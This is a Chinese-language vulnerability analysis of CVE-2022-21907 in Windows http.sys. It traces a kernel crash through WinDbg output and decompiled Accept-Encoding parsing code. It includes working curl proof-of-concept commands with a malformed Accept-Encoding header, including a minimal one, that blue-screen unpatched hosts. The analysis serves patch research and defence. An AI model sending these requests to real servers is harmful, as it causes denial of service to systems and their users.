CVE-2022-21907(Windows http.sys 远程代码执行漏洞)分析

Table of Contents

1. 漏洞介绍

本月微软发布的月度安全公告中,有个 http.sys 存在远程代码执行的漏洞(CVE-2022-21907),攻击者可以在未授权的情况下发出特定的 HTTP 请求触发该漏洞。

详细参考微软更新:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907

漏洞信息如下:

严重等级 Critical
漏洞利用难度
Exp 公开程度 PoC 已广泛传播,暂未见到利用代码

2. 漏洞分析

测试环境环境说明:

操作系统 Windows 10 21H1
http.sys 版本 10.0.19041.906

为了方便调试,我根据公开的 PoC 做了下修改:

$ curl -H 'Accept-Encoding: AAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, *, ,' http://192.168.56.111

PoC 触发了蓝屏后,打开 WinDbg 分析 DMP 文件,可以定位到问题出在 HTTP!UlFreeUnknownCodingList。

搭建好双机调试环境,并调试机上启动 WinDbg 进入内核调试(File -> Kernel Debug -> COM)。

先暂停调试(Ctrl+Break),给 UlFreeUnknownCodingList 下一个断点后继续运行:

kd> bp http!UlFreeUnknownCodingList
kd> g

重新运行 Poc,让系统中断在 UlFreeUnknownCodingList,接下来查看栈回溯:

1: kd> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 fffff805`7e066c05 : ffffe309`13a58f50 ffffcd84`00000001 ffffcd84`b8f9a054 00000000`00000000 : HTTP!UlFreeUnknownCodingList
01 fffff805`7e03d201 : ffffeaab`cd39e9df fffff805`7e03fc76 00000000`00000016 fffff805`7e03d1b0 : HTTP!UlpParseAcceptEncoding+0x299c5
02 fffff805`7e0193d8 : fffff805`7dfe46e0 ffffcd84`b8f9a1d9 ffffe309`1469d050 00000000`00000000 : HTTP!UlAcceptEncodingHeaderHandler+0x51
03 fffff805`7e018ab7 : ffffcd84`b8f9a2a8 00000000`00000004 00000000`00000000 00000000`00000010 : HTTP!UlParseHeader+0x218
04 fffff805`7df74c5f : ffffe309`1418f8e8 ffffe309`1418f6d0 ffffcd84`b8f9a439 00000000`00000000 : HTTP!UlParseHttp+0xac7
05 fffff805`7df7490a : fffff805`7df74760 ffffe309`13a58d40 ffffe309`00000000 00000000`00000001 : HTTP!UlpParseNextRequest+0x1ff
06 fffff805`7e0148c2 : fffff805`7df74760 fffff805`7df74760 00000000`00000001 00000000`00000000 : HTTP!UlpHandleRequest+0x1aa
07 fffff805`78b18e85 : ffffe309`1418f750 fffff805`7dfe5f80 00000000`00000533 001fa47f`b19bbdff : HTTP!UlpThreadPoolWorker+0x112
08 fffff805`78bfe498 : ffffbd81`8d3ea180 ffffe309`13527040 fffff805`78b18e30 00000000`00000000 : nt!PspSystemThreadStartup+0x55
09 00000000`00000000 : ffffcd84`b8f9b000 ffffcd84`b8f94000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x28

这里整理下调用关系:

UlParseHttp -> UlParseHeader -> UlAcceptEncodingHeaderHandler -> UlpParseAcceptEncoding
(解析请求)     (解析 HTTP 头)   (解析 Accept-Encoding 字段)      (解析 Accept-Encoding 内容)

从调用关系可以清楚地看到在解析 Accept-Encoding 头时出了问题后调用了 __fastfail,__fastfail 汇编代码如下:

HTTP!UlFreeUnknownCodingList+0x5e:
fffff805`7e0af672 b903000000      mov     ecx,3
fffff805`7e0af677 cd29            int     29h

整理下看看 __fastfail 是什么情况下触发的:

mov     rdx,qword ptr [rcx]
cmp     qword ptr [rdx+8],rcx ; 第一个判断,失败就跳转到 __fastfail。根据调试,rcx、[rdx+8] 存放的是内存地址
jne     __fastfail

mov     rax,qword ptr [rcx+8]
cmp     qword ptr [rax],rcx ; 第二个判断,失败就跳转到 __fastfail。根据调试,rcx、[rax] 存放的是内存地址
jne     __fastfail

__fastfail:
mov     ecx,3
int     29h

__fastfail 是从 Windows 8 开始引进的一个快速失败的函数,驱动程序中校验链表完整性时常被使用。从反汇编来看,UlFreeUnknownCodingList 是一个对链表做释放的函数,因为链表结构被破坏导致完整性检查失败而触发了 __fastfail。

用 IDA 把 UlFreeUnknownCodingList 转成伪代码如下:

void __fastcall UlFreeUnknownCodingList(_QWORD **list)
{
  _QWORD *v2; // rcx
  __int64 v3; // rdx
  _QWORD *v4; // rax

  if ( (qword_1C0075CB0 & 0x2000) != 0 )
    WPP_SF_q(166i64, &WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids, list);
  while ( 1 )
    {
      v2 = *list;
      if ( *list == list )                        // 双向链表,判断是否遍历到表头
        break;
      v3 = *v2;
      if ( *(_QWORD **)(*v2 + 8i64) != v2 || (v4 = (_QWORD *)v2[1], (_QWORD *)*v4 != v2) ) // 链表完整性校验,如果链表被破坏就触发 __fastfail,这里对应的就是上面提到的两次 cmp。
        __fastfail(3u);
      *v4 = v3;
      *(_QWORD *)(v3 + 8) = v4;
      ExFreePoolWithTag(v2 - 2, 0i64);            // 释放元素的内存空间
    }
  if ( (qword_1C0075CB0 & 0x2000) != 0 )
    WPP_SF_(167i64, &WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids);
}

顺便用 Ghidra 反编译下,可读性比 IDA 差很多,如下:

void UlFreeUnknownCodingList(LIST_ENTRY *param_1,undefined8 param_2,longlong *param_3,undefined8 param_4) {
  LIST_ENTRY *pLVar1;
  _LIST_ENTRY *p_Var2;
  _LIST_ENTRY *p_Var3;
  code *pcVar4;
  undefined *puVar5;
  undefined auStack40 [8];
  undefined auStack32 [24];

  puVar5 = auStack40;
  if ((DAT_1c0075cb0 & 0x2000) != 0) {
    param_3 = (longlong *)param_1;
    WPP_SF_I(0xa6,&WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids,param_1);
  }
  /* 链表遍历 */
  do {
    pLVar1 = param_1->Flink;
    /* 双向链表,判断是否遍历到表头 */
    if (pLVar1 == param_1) {
    LAB_1c013f679:
      if ((DAT_1c0075cb0 & 0x2000) != 0) {
        *(undefined8 *)(puVar5 + -8) = 0x1c013f696;
        WPP_SF_(0xa7,&WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids,param_3,param_4);
      }
      return;
    }
    p_Var2 = pLVar1->Flink;
    /* 链表完整性校验,如果链表被破坏就触发 __fastfail
       对应的就是上面汇编中两次 cmp 操作
     */
    if ((p_Var2->Blink != pLVar1) || (p_Var3 = pLVar1->Blink, p_Var3->Flink != pLVar1)) {
      /* __fastfail */
      pcVar4 = (code *)swi(0x29);
      (*pcVar4)(3);
      puVar5 = auStack32;
      goto LAB_1c013f679;
    }
    p_Var3->Flink = p_Var2;
    p_Var2->Blink = p_Var3;
    /* 释放元素的内存空间 */
    ExFreePoolWithTag(pLVar1 + -1,0);
  } while( true );
}

重新调试。经过我结合静态分析来单步跟踪 HTTP!UlpParseAcceptEncoding 函数,发现这个漏洞只是一个指针操作失误引起的 bug,具体过程就不多描述了,单步调试慢慢观察吧。UlpParseAcceptEncoding 函数的伪代码如下(Ghidra 生成):

void UlpParseAcceptEncoding(undefined (*value_str*) [16],ulonglong param_2,undefined (*param_3) [16],
                            undefined (*param_4) [16]) {
  LIST_ENTRY *pLVar1;
  undefined (*pauVar2) [16];
  ushort uVar3;
  longlong lVar4;
  code *pcVar5;
  bool bVar6;
  int coding;
  undefined8 uVar7;
  _LIST_ENTRY **p;
  _LIST_ENTRY *p_Var8;
  _LIST_ENTRY *p_Var9;
  undefined *puVar10;
  undefined *puVar11;
  uint uVar12;
  undefined8 uVar13;
  undefined (*pauVar14) [16];
  _LIST_ENTRY *p_Var15;
  _LIST_ENTRY *p_Var16;
  undefined auStackY232 [8];
  undefined auStackY224 [24];
  undefined (**ppauVar17) [16];
  ushort local_98 [2];
  uint local_94;
  uint local_90;
  _LIST_ENTRY local_88;
  int local_78 [2];
  undefined (*local_70) [16];
  _LIST_ENTRY local_68;
  undefined8 local_58;
  longlong local_50;
  undefined local_48;
  undefined4 local_47;
  undefined2 local_43;
  undefined local_41;
  ulonglong cookie;

  puVar11 = auStackY232;
  cookie = __security_cookie ^ (ulonglong)auStackY232;
  uVar13 = 0;
  p_Var9 = (_LIST_ENTRY *)(param_2 & 0xffffffff);
  local_68.Flink = (_LIST_ENTRY *)0x0;
  local_78[0] = 0;
  local_94 = 0;
  local_70 = (undefined (*) [16])0x0;
  local_98[0] = 0;
  local_88.Flink = (_LIST_ENTRY *)0x0;
  local_88.Blink = (_LIST_ENTRY *)0x0;
  pauVar14 = param_3;
  if ((DAT_1c0075cb0 & 0x2000) != 0) {
    uVar7 = uVar13;
    if (param_3 != (undefined (*) [16])0x0) {
      uVar7 = *(undefined8 *)param_3[4];
    }
    pauVar14 = value_str*;
    param_4 = (undefined (*) [16])p_Var9;
    WPP_SF_qLqi(value_str*,param_2,value_str*,(int)p_Var9,(char)param_3,(char)uVar7);
  }
  if (((int)p_Var9 == 0) || (value_str* == (undefined (*) [16])0x0)) {
  LAB_1c00f6b2e:
    param_3[0x97][10] = 1;
    coding = 0;
  LAB_1c00cd3ba:
    puVar10 = auStackY232;
    if ((DAT_1c0075cb0 & 0x2000) == 0) goto LAB_1c00cd3ca;
  }
  else {
    local_88.Blink = &local_88;
    *(undefined4 *)(param_3[0x97] + 0xc) = 0x3e903e9;
    pauVar2 = (undefined (*) [16])((longlong)&p_Var9->Flink + (longlong)*value_str*);
    local_88.Flink = &local_88;
    *(undefined4 *)param_3[0x98] = 0x3e903e9;
    bVar6 = false;
    *(undefined4 *)(param_3[0x98] + 4) = 0x3e903e9;
    *(undefined2 *)(param_3[0x98] + 8) = 0x3e9;
    pLVar1 = (LIST_ENTRY *)param_3[0x99];
    local_90 = 0;
    local_70 = pauVar2;
    if (pLVar1->Flink != pLVar1) {
      *(undefined2 *)(param_3[0x98] + 10) = 0;
      UlFreeUnknownCodingList(pLVar1,param_2,(longlong *)pauVar14,param_4);
    }
    while( true ) {
      p_Var16 = &local_68;
      local_98[0] = 1000;
      p_Var15 = (_LIST_ENTRY *)&local_94;
      ppauVar17 = &local_70;
      uVar12 = (uint)p_Var9;
      /* value_str* 就指向头里的那一串AAAA...字符串 */
      coding = UlpParseContentCoding
        ((uint *)value_str*,uVar12,(int *)p_Var15,(uint **)p_Var16,local_78,
         local_98,(uint **)ppauVar17);
      if (coding < 0) {
        if (coding != -0x3ffffddb) goto LAB_1c00cd3b2;
        if ((local_70 == pauVar2) && (!bVar6)) goto LAB_1c00f6b2e;
      }
      /* UlpParseContentCoding 会解析失败,coding 返回值为 0,接下来会进入这个分支
         下面就是一大堆晦涩难度的链表操作,单步调试慢慢观察吧 */
      else {
        bVar6 = true;
        if ((local_94 == 5) || (6 < local_94)) {
          local_94 = 5;
          if (local_90 < 100) {
            p_Var16 = (_LIST_ENTRY *)0x0;
            p_Var15 = (_LIST_ENTRY *)0x58556c55;
            p_Var9 = (_LIST_ENTRY *)&DAT_00000020;
            p = (_LIST_ENTRY **)ExAllocatePoolWithTagPriority(1);
            if (p == (_LIST_ENTRY **)0x0) {
              coding = -0x3fffffe9;
              goto LAB_1c00f6bf3;
            }
            *p = local_68.Flink;
            *(undefined2 *)(p + 1) = (undefined2)local_78[0];
            *(ushort *)((longlong)p + 10) = local_98[0];
            p_Var8 = (_LIST_ENTRY *)(p + 2);
            if ((local_88.Blink)->Flink != &local_88) goto LAB_1c00f6cff;
            local_90 = local_90 + 1;
            p_Var8->Flink = &local_88;
            p_Var15 = (_LIST_ENTRY *)0x3e9;
            p[3] = local_88.Blink;
            (local_88.Blink)->Flink = p_Var8;
            p_Var9 = (_LIST_ENTRY *)((longlong)(int)local_94 * 2);
            uVar3 = *(ushort *)((longlong)&p_Var9[0x97].Blink + (longlong)(*param_3 + 4));
            local_88.Blink = p_Var8;
            if ((uVar3 == 0x3e9) || (uVar3 < local_98[0])) {
              *(ushort *)((longlong)&p_Var9[0x97].Blink + (longlong)(*param_3 + 4)) = local_98[0];
            }
          }
        }
        else if (*(short *)(param_3[0x97] + (longlong)(int)local_94 * 2 + 0xc) == 0x3e9) {
          *(ushort *)(param_3[0x97] + (longlong)(int)local_94 * 2 + 0xc) = local_98[0];
        }
      }
      if (pauVar2 <= local_70) break;
      p_Var9 = (_LIST_ENTRY *)(ulonglong)(uint)((int)pauVar2 - (int)local_70);
      value_str* = local_70;
    }
    if (local_88.Flink == &local_88) {
    LAB_1c00cd3b2:
      if (coding < 0) {
      LAB_1c00f6bf3:
        if (local_88.Flink != &local_88) {
          /* 根据 DMP 文件分析及单步调试就能确认触发点在这里
             这里判断如果指针没指向自身,说明还有数据需要释放
             而因为上面对指针的操作失误,引起 UlFreeUnknownCodingList 调用了 __fastfail */
          UlFreeUnknownCodingList(&local_88,p_Var9,(longlong *)p_Var15,p_Var16);
        }
        uVar7 = 1;
        UlSetErrorCode(param_3,1,(undefined (*) [16])0x0,p_Var16);
        if (8 < uVar12) {
          uVar12 = 8;
        }
        lVar4 = *(longlong *)(*(longlong *)(param_3[1] + 8) + 0x3c0);
        if (*(char *)(lVar4 + 0x620) != '\0') {
          local_68.Blink = (_LIST_ENTRY *)(param_3[4] + 8);
          local_47 = 0;
          local_43 = 0;
          local_41 = 0;
          local_58 = 0;
          local_48 = 0;
          local_50 = lVar4;
          McTemplateK0qxsqqbr4_UlEtwWriteEventWrapper
            (lVar4,uVar7,&local_68.Blink,coding,*(undefined8 *)(param_3[3] + 8),
             "InvalidAcceptEncodingHeader",
             (ulonglong)ppauVar17 & 0xffffffff00000000 |
             (ulonglong)*(uint *)(param_3[0x73] + 0xc),uVar12,value_str*);
        }
      }
      goto LAB_1c00cd3ba;
    }
    if (((local_88.Flink)->Blink == &local_88) && ((local_88.Blink)->Flink == &local_88)) {
      (local_88.Blink)->Flink = local_88.Flink;
      p_Var16 = (_LIST_ENTRY *)param_3[0x99];
      (local_88.Flink)->Blink = local_88.Blink;
      p_Var15 = *(_LIST_ENTRY **)(param_3[0x99] + 8);
      if ((p_Var16->Flink->Blink == p_Var16) &&
          (((p_Var15->Flink == p_Var16 && ((local_88.Flink)->Flink->Blink == local_88.Flink)) &&
            ((local_88.Blink)->Flink == local_88.Flink)))) {
        p_Var15->Flink = local_88.Flink;
        *(_LIST_ENTRY **)(param_3[0x99] + 8) = (local_88.Flink)->Blink;
        (local_88.Flink)->Blink->Flink = p_Var16;
        (local_88.Flink)->Blink = p_Var15;
        *(short *)(param_3[0x98] + 10) = (short)local_90;
        p_Var9 = local_88.Blink;
        goto LAB_1c00cd3b2;
      }
    }
  LAB_1c00f6cff:
    pcVar5 = (code *)swi(0x29);
    (*pcVar5)(3);
    puVar11 = auStackY224;
  }
  if (param_3 != (undefined (*) [16])0x0) {
    uVar13 = *(undefined8 *)param_3[4];
  }
  *(int *)(puVar11 + 0x20) = coding;
  *(undefined8 *)(puVar11 + -8) = 0x1c00f6d2a;
  WPP_SF_qiL(0xa9,&WPP_99cb88b77a1a346b67d54f0b5a9b3a63_Traceguids,param_3,uVar13,puVar11[0x20]);
  puVar10 = puVar11;
 LAB_1c00cd3ca:
  *(undefined8 *)(puVar10 + -8) = 0x1c00cd3e8;
  __security_check_cookie(cookie ^ (ulonglong)puVar10);
  return;
}

其实要触发蓝屏,PoC 可以简化成如下:

curl -H 'Accept-Encoding: A, ,*, ,'  http://192.168.56.111

3. 总结

从目前分析情况来看,这个漏洞似乎和远程代码执行没有太大的关系,并且 Windows 内核本身的保护机制就能让漏洞很难被利用。

4. 参考